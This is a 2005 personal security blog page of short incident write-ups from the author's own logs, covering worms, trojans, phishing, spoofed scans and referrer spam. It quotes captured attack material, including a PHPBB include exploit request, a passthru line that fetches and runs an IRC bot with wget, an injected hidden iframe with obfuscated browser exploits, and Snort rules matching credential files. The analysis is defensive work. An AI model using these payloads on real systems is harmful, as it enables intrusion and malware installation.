Assorted Incidentals '05

Back Home

Last Updated: Sunday December 25, 2005

Michael Ligh (

This is a spin-off of Slims Short Security Discussions, but for 2005. These are "incidental" incidents - important enough to publish, but not exactly qualified for a separate research paper.

Table of Contents

  1. Spoofed-IP UDP Traceroute (or not?)
  2. Forged Spam From Localhost:
  3. HTTP Stats Poisoning - Referrer Spam
  4. Web Clients Echo Data in RST Packets
  5. Mid-Session Out-Of-Spec Packet Injections
  6. Dual RBOT Sightings - HTTP and AIM
  7. German Password Protected Zips
  8. A Lot of HEAD - Web Scans
  9. One Thousand Infected Web Servers
  10. Jpegs Into JavaScript - Another Image Trick
  11. Google Strangeness - Sick & Confused Googlebot
  12. Nikto Targeted Vulnerability Scan
  13. sirh0t And His Web Site Defacements
  14. Spoofed IP (or Lost and Confused) MS-SQL Bot
  15. Postcards Reprise - Back From The Dead?
  16. The Lithuanian Netsky and SoTM 34
  17. Volunteer Work - Complimentary Kernels
  18. Anti-Pinging Software & Mysterious Spam
  19. Happy Hour Friday Invitations
  20. Unfaithful German Web Browsers
  21. CSE, ZeroBoard, & Hatorihanzo Rootkit
  22. Source Quench For Reconnaissance
  23. Hello and Goodbye Pings From Hallmark
  24. XML RPC Scans, Defenses, And Logfiles
  25. Team2 Brute Force SSH Kit
  26. PHP/Web Shell Offenders
  27. Qmail (EnergyMech) IRC Toolkit
  28. Artifacts of a Mambo Exploit

Spoofed-IP UDP Traceroute

This shows how an attacker can hide his true origin by creating noisy background traffic of the same sort. Essentially he hides in the crowd and clouds our judgement - if we see the same traffic from 10 machines, how do we know which one he is behind? Since traceroute uses UDP and UDP is essentially stateless, this can easily be accomplished. In this incident, we see traceroute packets from each of the machines between and You can view the Logwatch and IPTables logs to follow along.

At first glace, it clearly looked like a spoofed-IP scan. Otherwise, we would have to believe that someone who owned at least 6 consecutive IP addresses ran the same scan from each machine. That just didn't make a lot of sense. However, upon review of the IPTables logs (also at the link above), it appears that this may indeed have been the case. Although it might not seem rational, it doesn't fit the pattern of normal obfuscation attempts either. Take NMAP for example, you specify the -D flag for decoy and then give it a list of ranges or addresses. When your scan is being conducted, NMAP sends packets from the pool of decoys mixed in with your real traffic.

In the IPTables log, we see the scan from one IP addresses start and stop before another scan begins. So, the final conclusion points to one of two things:

Forged Spam From Localhost:

This is just a quick example showing the side effects of spam forging email header fields (in particular the From: address). You can view the email header and source to follow along.

Based on this bounce message, we can see that a server named connected to in order to deliver emails to (at least) 10 different users at the domain. The only reason we know about this is because the spammer used an address at our domain to send them all (claimed to have came from

When the deliveries for these 10 addresses failed (because the mailboxes don't exist), the server acts according to protocol and notifies the sender (which is falsely labeled as

Note that we said "at least" 10 spams were generated by, because the error message does not report which, if any, were successfully delivered.

It's interesting too to learn several other things: runs qmail, stores email in the directory "/home/vpopmail/domains/", the MIME Pack/Unpack utility was used to generate the spam, and the system has a _crazy_ localhost IP

Received: from (localhost.localdomain[]

Does anyone know any legitimate uses for a localhost address of this type? Is this forged by the client or a result of the reverse lookup by

HTTP Stats Poisoning - Referrer Spam

I'm in search of some theories here. My web stats show that accounts for 89.8% of the links from an external page. Clearly has no referrals to my site, so something is up and it's probably not a new fan of computer security browsing my forums, each time right after doing some online gambling at

Since May 5 there are 1056 hits from 4 unique source addresses:

# for x in `cat log | awk '{print $1}' | cut -d: -f 2 | sort -u`; do grep "$x" log | wc -l | tr -d '\n'; echo " $x"; done | sort -rn

Each one of these IPs are regestered to Yuval Keinan of Israel; they are DSL customers on the domain. It's interesting to find that Yuval owns, too.

So, every one of the 1056 are simply GET requests for the index page, but they occur in batches of 20-30 second, each having a different user agent and client OS. Of course, they all have "" set as the referrer. Here are a few examples: - - [05/May/2005:02:55:26 -0400] "GET / HTTP/1.0" 200 4464 "" "Mozilla/5.5 (compatible; Voyager; AmigaOS)" - - [05/May/2005:02:55:26 -0400] "GET / HTTP/1.0" 200 4464 "" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" - - [05/May/2005:02:55:26 -0400] "GET / HTTP/1.0" 200 4464 "" "Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)"

This is obviously something automated unless flash gordon over there visits my site from his Amiga machine, then runs to his NT box, then runs to his PowerPC, all in the same second. So, do you think this is an attempt for Yuval to make it appear that his is referring links for customers (and what, he thinks I'm a customer of his?) in order to make some extra bucks?

Or do you think it is his attempt, intentions unknown, to obscure my web site statistics (for a second there I actually thought someone on AmigaOS was browsing).

Other theories?

Update: This question was answered by Spam Huntress who pointed me in the direction of the following URL which explains this all perfectly and describes a quick mod_rewrite entry to redirect the traffic:

Web Clients Echo Data in RST Packets

This event(s) came to my attention with the kick-off of a few Snort IDS alerts.

May 23 17:31:41 fire snort: [1:1372:5] WEB-ATTACKS /etc/shadow access 
[Classification: access to a potentially vulnerable web application] [Priority: 2]: {TCP} ->

May 23 17:31:40 fire snort: [1:1122:5] WEB-MISC /etc/passwd 
[Classification: Attempted Information Leak] [Priority: 2]: {TCP} ->

These alerts were particularly suspicious after consulting the rules which produced them:

web-attacks.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /etc/shadow access"; 
flow:to_server,established; content:"/etc/shadow"; nocase; classtype:web-application-activity; sid:1372; rev:5;)

web-misc.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /etc/passwd"; 
flow:to_server,established; content:"/etc/passwd"; nocase; classtype:attempted-recon; sid:1122; rev:5;)

What I was looking at here was the "flow:to_server,established" keywords in conjunction with the "content:" strings. This means the packet which contained "/etc/passwd" and "/etc/shadow" was going in the direction of the client to my server. What legitimate transactions could possibly occur over port 80 with these two strings embedded? Since my server has been hacked via web exploits in the past, this was especially alarming to find out. My first guess was to look in my web server logs, but they weren't especially helpful:

# sudo grep /var/log/apache2/access_log.1 - - [23/May/2005:17:31:36 -0400] "GET /papers/chkrootkit_advanced.output HTTP/1.1" 200 428593 
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4"

# sudo grep /var/log/apache2/error_log.1

I found one hit in the access log and no entries in the error log. Even more so, this was a GET request and not a POST. So, at which point did send these alleged packets to my server? Also looking back at the rule, the connection had to have been established before all criteria is met, and this is the only connection logged by the web server. Assuming Snort doesn't produce meaningless, random alerts, something else had to have been going on here. On any other day I would have a full packet capture of the entire transaction but this came after a recent Snort upgrade during which I broke the binary logging functionality. Fortunately, I did have Snort logging packets to an ACID database, which can at least provide most of what I needed.

To view the packet capture per ACID query, see the following two URLs

The /etc/passwd packet

The /etc/shadow packet

The obvious trait is the TCP flag set for these packets - they are both resets (RST). If the tables were turned and this was my server sending data within an RST, that might be credible, but the client sending a full packet of data within an RST? Moreover, this isn't some exploit attempt which sends sensitive data within the RST in hopes that a firewall would pass it through to the server and then be interpreted by the server. In fact, its snippets from the page which was accessed on my site - the single hit to chkrootkit_advanced.output.

What makes a client echo back part of an accessed page within a RST packet? From the referrer strings, we can probably assume this is just a user clicking around the web, nothing automated. He's using one of the most recent versions of Firefox, but potentially it is a buggy version?

With this on my mind, I then stumbled accross another incident, which seems related yet different all the same. There were no IDS alers involved, just a single SEARCH request followed by lots of NOOP instructions - likely an exploit attempt against the Microsoft WebDAV implementation. I knew that off the top of my head since I'd seen so many in the past, but this one was unique. Rather than filling the entire buffer with NOOP instructions, the remainder of this request tried to fill the buffer with the final few paragaphs of my Tiger Teams article. I don't have any packet captures, but you can view the web server access log, which is good enough.

Mid-Session Out-Of-Spec Packet Injections

This won't be published for a while. Sorry, just a placeholder at the moment.

Dual RBOT Sightings - HTTP and AIM

First, I found Rbot in my web access logs. As described in the Internet Storm Center June 3 Diary, Rbot tries to exploit NTLM on IIS servers and have the victim fetch a file over TFTP. Here is an entry from my blog (which didn't last long) on May 26:

Today I was working to harden some mod_rewrite rules when an unfamiliar IDS alert was tripped. Having to do with CGI and URI, it only made sense to take a break and see what was going on.

May 26 19:47:57 fire snort: [1:873:8] WEB-CGI scriptalias access [Classification: Attempted Information Leak] 
[Priority: 2]: {TCP} ->

May 26 19:47:57 fire snort: [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [Classification: Attempted Information Leak] 
[Priority: 2]: {TCP} ->

According to the Apache access log, the only request from this source is completely legitimage, they just asked for the index page. - - [26/May/2005:19:47:57 -0400] "GET / HTTP/1.0" 200 4881 "-" "-"

Furthermore there is nothing in the error log or audit log (mod_security) for this host. Of course, since I was having some trouble with mod_rewrite, it was logging in debug mode, so I happened to catch a better glimpse of the request: - - [26/May/2005:19:47:57 --0400] [][rid#839ca48/subreq] (2) init rewrite engine with requested uri /index.html - - [26/May/2005:19:47:57 --0400] [][rid#839ca48/subreq] (1) pass through /index.html

So, according to my IDS this host sent an oversized request AND did something freaky with a scriptalias, but according to Apache all it did was fetch index.html and then leave. It all becomes clear when the host based IDS reveals the packet capture. First, the host connected to port 80 and then quickly disconnected. Then, it connected again and sent this:

GET / HTTP/1.0
Authorization: Negotiate YIIQegYGKwYBBQUCoII…..

Several thousand bytes later, the packet ends, my server sends an HTTP 200, begins transmitting index.html and gets reset by the client before that ever finishes. This is an exploit against the IIS NTLM authentication module documented by SecuriTeam here:

Of course, after a few more days it became clear that this was probably not that exploit and that it was Rbot. A few weeks later I was sitting around and got a strange instant message from and old friend. Here is our conversation:

(15:13:46) them: you have to see this
(15:14:14) me: hah what?
(15:14:21) them logged out.
(15:14:22) me: did you really just type me that?
(15:14:42) them logged in.(15:15:31) me: steph?
(15:15:34) them: hi
(15:15:42) me: did you really just type me that link a second ago?
(15:15:47) them: no
(15:15:54) me: do you even know what im talking about?
(15:16:05) them: someone sent me a link, and when I clicked on it, it screwed up my whole screen
(15:16:12) them: i was afraid i'd downloaded a virus
(15:16:16) me: you did

The problem was that the URL for solder.jpg actually pointed to My friend didn't see a picture, she launched Rbot. The fact that I got sent the message and URL is proof that it actually ran and installed itself on her machine. How many people would NOT click a link from a friend exclaiming they have to see something? Not many, which is why Rbot will spread so fast.

# file untitled.exe
untitled.exe: MS-DOS executable (EXE), OS/2 or MS Windows

# ls -al untitled.exe
-rw-r--r--  1 mike users 114176 2005-06-11 15:06 untitled.exe

# md5sum untitled.exe
19a708acc0b7d58977c8971bf4f21a69  untitled.exe

Kaspersky, Sybari, TheHacker, and VBA32 detect it as Trojan/Crypt.d - no others detect it at all (sent through VirusTotal). This is an alias for what Sophos calls W32/Rbot-AEJ.

Apparently it's similar to what Symantec calls W32.Imspread.Worm, it simulates a user typing and sends the URL to everyone on tbe buddy list and is protected by PolyCrypt PE.

When I ran the file it overwrote c:\windows\system32\system32.exe, created a registry entry under CurrentVersion\Run\System Support with the new executable name "system32.exe", and then spawned the process.

It also deleted the original untitled.exe and messed with a few of the registry settings related to EnableDCOM and \Lsa\restrictanonymous. I dumped system32.exe from RAM with LordPE and got some nice results - it fits the description of the Sophos Rbot, except that it spreads though AIM now, too.

If you're interested, you can view the strings output of the dumped system32.exe file.

German Password Protected Zips

This is neat because it was right around the time of the influx of German spam that spewed from Sober.Q. Who knows what Rechnung really means, but it contains a filename with a dual extension contained within a password protected zip. It would be completely stupid for a virus to spread in a zip that vulnerable user's couldn't open so of course it places the password in the body of the email:

Passwort lautet: Augen

To back up a little, here is the warning message from the email virus scanner:

Report: F-Prot: /var/spool/MailScanner/incoming/24028/C73EB1C5D0/>Rechnung.pdf.exe 
is a security risk or a "backdoor" program
MailScanner: Executable DOS/Windows programs are dangerous in email (Rechnung.pdf.exe)
Report: MailScanner: Executable DOS/Windows programs are dangerous in email (Rechnung.pdf.exe)

You can view the full email header and virus report to follow along. After extracting the executable from the zip file, I hit it with a few commands:

# file Rechnung.pdf.exe
Rechnung.pdf.exe: MS-DOS executable (EXE), OS/2 or MS Windows

# md5sum Rechnung.pdf.exe
942ed3bb14e3eae343b15e6a478775da Rechnung.pdf.exe

# stat Rechnung.pdf.exe
File: `Rechnung.pdf.exe'
Size: 6144 Blocks: 16 IO Block: 4096 regular file
Device: 306h/774d Inode: 68468 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ mike) Gid: ( 100/ users)
Access: 2005-05-25 23:10:13.528237096 -0400
Modify: 2005-05-16 17:27:40.000000000 -0400
Change: 2005-05-17 18:28:41.000000000 -0400

# strings Rechnung.pdf.exe

The next quickest thing to do was send it through VirusTotal:

Scan results
File: Rechnung.exe
Date: 05/26/2005 05:14:22 (CET)
AntiVir found [TR/Small.atz]
AVG 718/20050525 found nothing
Avira found [TR/Small.atz]
BitDefender 7.0/20050525 found [Trojan.Downloader.Vidlo.M]
ClamAV devel-20050501/20050525 found [Trojan.Small-77-1]
DrWeb 4.32b/20050525 found [Trojan.DownLoader.2682]
eTrust-Iris found [Win32/SillyDL.VT!Trojan]
eTrust-Vet found [Win32.SillyDl.NT]
Fortinet found [W32/ExplorerHijack.B-tr]
Ikarus 2.32/20050525 found [Trojan-Downloader.Win32.Vidlo.M]
Kaspersky found [Trojan-Downloader.Win32.Vidlo.m]
McAfee 4499/20050525 found [Downloader-AAP]
NOD32v2 1.1108/20050525 found [Win32/TrojanDownloader.Vidlo.M]
Norman 5.70.10/20050523 found [W32/DLoader.EQQ]
Panda 8.02.00/20050525 found [Spyware/Sparkasse]
Sybari 7.5.1314/20050526 found [Downloader-AAP]
Symantec 8.0/20050525 found [Download.Trojan]
VBA32 3.10.3/20050525 found [Trojan-Downloader.Win32.Vidlo.m]

A Lot of HEAD - Web Scan

This attacker uses the HTTP HEAD method to check and see if any exploitable files or actions are offered by the target web server. Judging by some of the files accessed, it isn't specific to any server software or OS platform. The scan is about 1400 unique hits to the web server and you can view the access log file to check it out.

One Thousand Infected Web Servers

Some people write scripts to locate exploitable web servers. The scripts either use search engines to identify existing vulnerable pages/apps at URLs or they will loop through address ranges scanning for open ports. Other people might pay someone to find vulnerabilities or hacked servers for them. I...well, I just sit here and watch.

On an average day so far these past few months my site would have attracted about 10-15 attempts to exploit the PHPBB highlight vulnerability. Last weekend, between June 18 00:40:44 and June 20 at 03:49:17 I logged about 1600 of them from about 1100 unique sources.

Taking a few random samples from the unique source list, I put them in a browser and got a live web site. People at home browse websites and people at work browse web sites, but rarely do websites browse websites. The PHPBB highlight exploit sends a request to the vulnerable page and asks it to download a .txt file which is really a copy of the worm itself, then executes it on the system at which point the victim system begins scanning for new targets.

With my list of 1100 source addresses, I plugged them into nmap like this:

nmap -iL unique_list.txt -P0 -p 80 -T insane -oN logfile.txt

A whopping 1079 out of 1100 are live websites. Another random sampling shows that 100% of the ones I visited have PHPBB version 2.0.8, 2.0.6, etc (not anywhere near the current 2.0.13). To protect innocent (well, sorta) users, I won't post the log files here, but I'll release them for review upon request.

The big deal to all this is the fact that now I have the addresses to over one thousand vulnerable web servers. Script Kiddies today would probably be willing to buy this list for a decent amount of money (especially based on my effort to obtain it). Why should attackers continue to scan unknown network ranges and potentially hit a government or protected system, ending up in some kind of trouble. All they have to do is set up a web server and wait for someone else to practically read them the list out loud. One suggestions was to write a script that loops through the list of compromised machines, look up the technical contact via whois, and send an automated wake-up notice. I like that idea, but I haven't done it yet.

Jpegs Into JavaScript - Another Image Trick

One cool summer evening I received an interesting email (just kidding that happens every day). Without further ado, here is the body:

(Please note that I'm copying this message to the TaskInfo web site author, Igor Arsenin, 
who may not be aware of this "feature" of his web page or how NAV reacts to it even if harmless.)
Hello Mr. Ligh,
I was "researching" a file my Symantec Norton AntiVirus (NAV) "bloodhound" detection caught, claiming 
it was something like an animated cursor attack, and came across this page:
    Security Incidents RE ANI Exploits in Spam
...which linked to your article:
    Tri-Mode Browser Exploits - MHTML, ANI, and ByteVerify
I'm not technical enough to understand most of it, but if you're interested (and willing... or maybe 
a bit crazy?) could you browse (safely) to the following web site:    (which is home to a wonderful Windows OS task manager called 
    TaskInfo I've used for years)
...and possibly see if his "forum" page (link at the bottom of the column on the left side) has a "real" 
or "false" version of this exploit you describe?  Perhaps my system security (the latest Windows OS 
security patches and NAV) is overreacting since I last had occasion to visit it many months ago.
I would find it rather amazing that he would knowingly try to maliciously attack his customers, so 
perhaps there's another explanation for why my NAV reacted to it.  NAV repeatedly tried to quarantine 
or delete it but had no luck at all, even when it eventually lapsed into a DOS screen mode, so I finally 
said to "continue" and held my breath as the normal Windows and browser windows reappeared.
After reading your article about another poor hapless person actually triggering an exploit upon exiting 
the browser, I wonder if perhaps I've done the same thing!
The SPLOIT.ANR file was 0 bytes in the directory which I had NAV scan for viruses after closing my IE6 
running on my WinME system (with all available security updates installed to both):
Source: C:\WINDOWS\Temporary Internet Files\Content.IE5\AMP23BK2\sploit[1].anr
Click for more information about this virus : Bloodhound.Exploit.20
During the NAV attempts to get rid of this file there were also generated files "sploit[2].anr" and 
Well, that's it.  I was simply going to seek some answers to a question I had about TaskInfo in his 
forum when all this happened.  Based on my past experience dealing with Symantec I don't expect any 
investigation from them, but thought an expert like yourself might know how to safely proceed and 
tell me it's really OK or not (and possibly discover in turn what a nice utility TaskInfo is in the 
process, not that this is an advertisement or anything!).

This email arrived at 12:00 AM on that cool summer evening, long before I actually arrive home from the bar (which kicked us out to close). After several, several beers, I proceeded to wget the forums index page from the web server in question. Near the bottom of the page, an incriminating line had been inserted:

[/span][span class="genmed"]Iarsn Products Discussion. Post questions and find answers here.
[iframe src="" width=0 height=0 style="display:none"][/iframe][br /]

Common web browser forensics tells us that we must now fetch adv439.php and see what it contains. You might recognize this from tri-mode browser exploits, because it contains all three attacks dicussed AND one additional attack! The ANI exploit is the one which tripped NAV, but it's that additional one that this section is concerned with. Concentrate on the URL for newexpl.php below:

* {CURSOR: url("")}
document.write('[applet'+' width=1 height=1 '+'ARCHIVE=loader'+'adv439.jar co'+'de=Counter][/AP'+'PLET]');
document.write('[object data="&#'+109+';s-its:mhtml'+':'+'file://C:\nosuch.mht! \
adv439/x.chm::/x.htm" type="text/x-scriptlet"][/object]');

Progressing on to this new exploit, stealthily named newexpl, I found that it contained some ASCII text and a paragraph-sized block of Base64 encoded characters.

Subject: x
MIME-Version: 1.0
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64

YWwvL0VOIj4KPEhUTUw+PEJPRFk+CjxPQkpFQ1Qgc3R5bGU9ImRpc3BsYXk6bm9uZSIgaWQ9 [...]
I modified some of that file and made it into a perl script (not something you do with real evidence):


use MIME::Base64;

           'YWwvL0VOIj4KPEhUTUw+PEJPRFk+CjxPQkpFQ1Qgc3R5bGU9ImRpc3BsYXk6bm9uZSIgaWQ9' . [...];

$decoded = decode_base64($encoded);

print "$decoded\n";

This file contained several sections, but here is the most important one:

[PARAM name="Item1" value='command; javascript:execScript("document.write(\"[script 

You end up downloading a Jpeg but it's not really a jpeg, its more encoded JavaScript. First it initializes a variable named s which contains the encoded script. Then, a function at the end decodes it for interpretation by the browser:


s is actually a command that spaws cmd.exe on your machine and downloads loadadv.exe from the site. It's saved to w.exe and executed, essentially to install some more spyware on your computer.

Google Strangeness - Sick & Confused Googlebot

I noticed a particularly strange set of entries in my access logs that seem to have been produced by the Googlebot. I normally would write this off as just someone's attempt to spoof the data in the User Agent and Operating System fields, but according to Whois and RDNS, the source IP address is truly owned by Google.

# host domain name pointer

My interest is in the files which Googlebot tries to access for indexing. I've read the Fact & Fiction entry on why Googlebot might try to access an item that no longer exists (or that never did exist), but I think this is an interesting case. For example, Googlebot sent a request for /jznpociqnvxijjed.html and then for /crxhhsfuypmufha.html. Google Help contests that this is due to another page linking to these URLs, and that the Googlebot is only following those links. If that's the case, why do searches for these pages not turn up any results on Google?. Anyway, for an unsolved mystery, view the (full logfile).

Nikto Targeted Vulnerability Scan

Remember the 1,000+ infected web servers story. No one asked for the IP addresses of 1K rootable machines but they were indirectly handed to us. Likewise, as we're recently discussing being more proactive with web server security, looking for tools to pen test our own machines, it might seem reasonable to Google for some possibilities. Then again, the 1K theory says we only have to sit here and wait for someone else to uncover them. Rather than Googling, I'm just going to keep using cat on my apache access logs.

I like this one becuase the attacker is actively targeting me. It's not some random person and it's not part of an automated scan against a larger network range. Someone Googled my domain name, followed the URL to my homepage. Then started to scan.

You can view the (access log) or the (error log).

sirh0t And His Web Site Defacements

Googling for 'sirh0t' turns up a lot, the majority being defaced web sites. Who knows how log they have been defaced, but apparently no one cared or tried to fix them. sirh0t sirh0t sirh0t. Now hopefully search engines will grab this and people will see the minimally intelligent methods this poor individual is using to exploit web sites nowadays. Over the course of 3 days I've seen some interesting web access logs. Similar to the 1,000 infected web servers story, all source IPs are hosting active web sites, likely with vulnerable versions of PHPBB forums. Here is an example:

"GET /forums/viewtopic.php?t=63&highlight=%2527.$poster=include($_GET[m]).%2527&m= H
TTP/1.0" 200 35515 "-" "Mozilla/4.0"

Among the code hosting servers, besides, there are:,, and The root.txt contains:

passthru("cd /tmp;wget;fetch;
perl kut;echo ".$check1.$check2.$check3." pwned!;rm -rf kut*");

The quick synopsis is that through a vunlerability in the viewtopic.php page of PHPBB forums, the attacker can supply some additional PHP for the server to interpret. In this case, they are instructions to fetch a file named kut from the same web server as root.txt, then execute it, echo "sirh0t pwned!", and delete kut (although it's still running in memory). Kut is an IRC bot written in Perl, which connects to on port 8080 and awaits commands. The bot allows the channel administrators to force port scans, DDoS attacks, and lets the code further propagate by issuing a command with a new $boturl. If sirh0t did anything original in this series of attacks it might be worth looking into it further - but he's obviously using methods recycled from old message boards and fellow skidddies.

Spoofed IP (or Lost and Confused) MS-SQL Bot

ICMP error messages reveal some fantastic stuff. This entry is otherwise known as RFT III (request for theories), because I'm not able to assign it any concrete meaning. It started with this Snort alert:

Aug 22 17:49:41 fire snort: [1:485:4] ICMP Destination Unreachable
Communication Administratively Prohibited [Classification: Misc activity]
[Priority: 3]: {ICMP} ->

Some 4-5 hours later, it was still going on:

Aug 22 22:26:52 fire snort: [1:485:4] ICMP Destination Unreachable
Communication Administratively Prohibited [Classification: Misc activity]
[Priority: 3]: {ICMP} ->

Since I was around during this time, I was able to start a tcpdump packet capture on the gateway and get a better view of the details:

22:34:50.223695 IP > icmp
36: host unreachable - admin prohibited filter
22:35:02.347293 IP > icmp
36: host unreachable - admin prohibited filter
22:35:23.542665 IP > icmp
36: host unreachable - admin prohibited filter

That's the abbreviated version of tcpdump, but I captured the full payload as well:

22:34:19.838168 IP > icmp
36: host unreachable - admin prohibited filter
0x0000   4500 0038 b560 0000 ff01 aa0d 0aaf a001        E..8.`..........
0x0010   1802 99a4 030d 90f7 0000 0000 4520 0030        ............E..0
0x0020   5f32 4000 7d06 7dd4 1802 99a4 c0a8 ae52        _2@.}.}........R
0x0030   b69a 0599 ccc9 e2fd                            ........
22:34:22.860579 IP > icmp
36: host unreachable - admin prohibited filter
0x0000   4500 0038 b574 0000 ff01 a9f9 0aaf a001        E..8.t..........
0x0010   1802 99a4 030d 90f7 0000 0000 4520 0030        ............E..0
0x0020   5f3b 4000 7d06 7dcb 1802 99a4 c0a8 ae52        _;@.}.}........R
0x0030   b69a 0599 ccc9 e2fd                            ........

Decoding by ACID, we can understand the nature of the original packet which caused the ICMP error messages in the first place:

Orig. Proto...............TCP
Orig. Source IP...........
Orig. Source Port.........46855
Orig. Destination IP......
Orig. Destination.........Unable to resolve address
Orig. Destination Port....1433

So, I know for a fact that no system on my network is somehow evading my outbound filtering in order to scan another private class B network for open MS-SQL ports (at the current time, my IP is if that isn't clear).

Apparently someone's machine is infected (or is scanning the private class B 192.168 intentionally) for MSSQL servers on port 1433. They are forging my IP address (possibly others) and hitting which is probably owned by Comcast. This device has bounces the attempts with ICMP 3/13 (administratively filtered) back to the alleged sender (me). There is no way to tell the real sender of the TCP 1433 packets nor is there any way to get the rest of the payload from the original packets.

The one thing that the ACID decoding doesn't show is the original sequence number (the last 4 bytes). For each IP address scanned, I get two ICMP bounces, showing the same sequence number was used in each attempt. The software on the other end tries twice and then gives up. What tools exhibit this behavior?

Also, this isn't Slammer. Slammer uses UDP 1434. Why spoof my IP when using the TCP protocol? Think this is part of an evasion technique: nail the target from x number of spoofed IPs with the same traffic and they won't be able to identify which one is the real attacker? If we assume this is a worm, why would it even bother to spoof, would the author of the malware really care if the infected machine gets tracked down? If it's not a worm, rather someone doing a MSSQL scan of the class B, wouldn't they either know or have figured out by now that their attacks aren't making it past the next hop router?

Postcards Reprise - Back From The Dead?

Between September 22 and 26, my inbox was the recipient of 5 messages entitled "You've received a greeting from a family member!" The email uses the primary phishing technique to trick users into clicking a URL that reportedly goes to, however it really goes to ""

This exploit is known as the Aunt Edna virus and is terribly old - released around the end of December 2004. The operators of have written up their own advisory at here. At first I thought this was a new variant - for two reasons. First, the URL points to In the original report from, the URL pointed to Unfortunately, I was not able to resolve the domain in order to grab a copy of the executable.

The emails were dispersed from 3 unique hosts, two in Taiwan and one in the Philippines. All 3 were running Sendmail, according to the message headers. Here is one header each:

Received: from ( [])
by (Postfix) with ESMTP id 982E31A576
for ; Mon, 26 Sep 2005 16:25:21 -0400 (EDT)
Received: by (Postfix, from userid 1088)
id 157FE8020AE; Tue, 27 Sep 2005 04:25:18 +0800 (CST)
Subject: You've received a greeting from a family member!
From: postcards1001 
Content-Type: text/html
Message-Id: <>
Date: Tue, 27 Sep 2005 04:25:18 +0800 (CST)
X-MNIN-MailScanner-Information: Please see for more information
X-MNIN-MailScanner: Clean as a baby's...
X-MNIN-MailScanner-SpamCheck: not spam, SpamAssassin (score=3.825,
required 5, BAYES_99 3.50, HTML_FONT_INVISIBLE 0.04,
X-MNIN-MailScanner-SpamScore: sss

Received: from (unknown [])
by (Postfix) with ESMTP id 760131863A
for ; Fri, 23 Sep 2005 15:41:52 -0400 (EDT)
Received: from (localhost. [])
by (8.13.1/8.13.1) with ESMTP id j8NJfSJN067432
for ; Sat, 24 Sep 2005 03:41:28 +0800 (CST)
Received: (from event@localhost)
by (8.13.1/8.13.1/Submit) id j8NJfSQv067431;
Sat, 24 Sep 2005 03:41:28 +0800 (CST)
(envelope-from event)
Date: Sat, 24 Sep 2005 03:41:28 +0800 (CST)
Message-Id: <>
Subject: You've received a greeting from a family member!
From: postcards1001 
Content-Type: text/html
X-MNIN-MailScanner-Information: Please see for more information
X-MNIN-MailScanner: Clean as a baby's...
X-MNIN-MailScanner-SpamCheck: not spam, SpamAssassin (score=3.325,
required 5, BAYES_95 3.00, HTML_FONT_INVISIBLE 0.04,
X-MNIN-MailScanner-SpamScore: sss

Received: from localhost.localdomain (unknown [])
by (Postfix) with ESMTP id 0806B1A7F2
for ; Thu, 22 Sep 2005 17:51:58 -0400 (EDT)
Received: from localhost.localdomain (server [])
by localhost.localdomain (8.12.8/8.12.8) with ESMTP id j8MM9QES023310
for ; Fri, 23 Sep 2005 06:09:26 +0800
Received: (from root@localhost)
by localhost.localdomain (8.12.8/8.12.8/Submit) id j8MM9QBx023308;
Fri, 23 Sep 2005 06:09:26 +0800
Date: Fri, 23 Sep 2005 06:09:26 +0800
Message-Id: <200509222209.j8MM9QBx023308@localhost.localdomain>
Subject: You've received a greeting from a family member!
From: postcards1001 
Content-Type: text/html
X-MNIN-MailScanner-Information: Please see for more information
X-MNIN-MailScanner: Clean as a baby's...
X-MNIN-MailScanner-SpamCheck: not spam, SpamAssassin (score=4.312,
required 5, BAYES_80 2.00, HTML_FONT_INVISIBLE 0.04,
X-MNIN-MailScanner-SpamScore: ssss
X-MNIN-MailScanner-From: root@localhost.localdomain

So, it's unclear if this is a "copycat" attempt to spread a new version of Aunt Edna, using a different address to host the executable; or if it is just the original version lingering around some systems and still trying to spread.

The Lithuanian Netsky and SoTM 34

When malicious code spreads via email, the sender address is not usually something I pay close attention to. It's often random and almost always forged. However, this particular set of Netsky.P messages were more interesting than the usual.

The first message I received claimed to have come from my boss's personal email account. 4 subsequent instances claimed to have come from the personal email accounts of 4 of my other co-workers. Now, plenty documents exist with all 5 of our business email accounts, especially on our internal network, however very few (if even more than 1) exist with all 5 of our primary personal email accounts.

Honeynet's Scan of the Month 34 is the only document we know about that contains all 5 addresses. According to Trend Micro's Netsky.P analysis, the virus "...gathers target recipients from certain files found on the affected machine, virtually turning the affected system into a propagation launch pad.

We believe the infected computer in Lithuania had once been used to view our SoTM 34 submission and was either lying around in browser cache or saved to another location on disk.

One remaining interesting fact about these Netsky.P are the dates and times which they are sent. Lithuania is +7 hours of EST and in all my samples (approximately 30), they are all sent between 08:15 and 08:30 Lithuanian time. This does not repeat every day of the week consecutively, though. For example, one batch was dispersed on September 30 (Friday). The next batch was not dispersed until October the 3rd (Monday). It was then distributed on October 4, 5, and 6.

What we have here is a member of the Lithuanian working class, who begins his/her day by powering on his/her computer between 08:15 and 08:30 on most week days. Saturday and Sunday there is no activity, which is understandable. Anyone who can work on a computer infected with Netsky for what has almost been a full month now - certainly needs a break on weekends.

Volunteer Work - Complimentary Kernels

Ever once in a while (some more frequent than others) we get the urge to do something completely altruistic. One of the topics this year (HTTP Stats Poisoning) discussed the ever annoying referrer spamming practice. So, finally it's time to volunteer a bit and give something back - a complimentary kernel. For every low-life Internet spammer, who advertises their web site by reporting false referring pages in my web statistics, I will give them a 50MB Linux kernel from

First, I would need some method of detection. How can I figure out, in real-time, if a referrer is being forged? It's easy to capture the referrer, but without some sort of white list or IA pattern matching, simply knowing the referrer will not be enough. Luckly, Bleeding Snort had just come out with a signature for these attempts:

(msg:"BLEEDING-EDGE WEB Blog Spam Insert Attempt";
flow:to_server,established; content:"|0D 0A|x-aaaaaaaaa"; nocase;
reference:url,; sid:2002069;

The only criteria is a hex 0D 0A followed by "x-aaaaaaaaa". According to the signature, this pattern can exist anywhere in the packet, but if I want to do something about it - I'll have to know exactly where it appears.

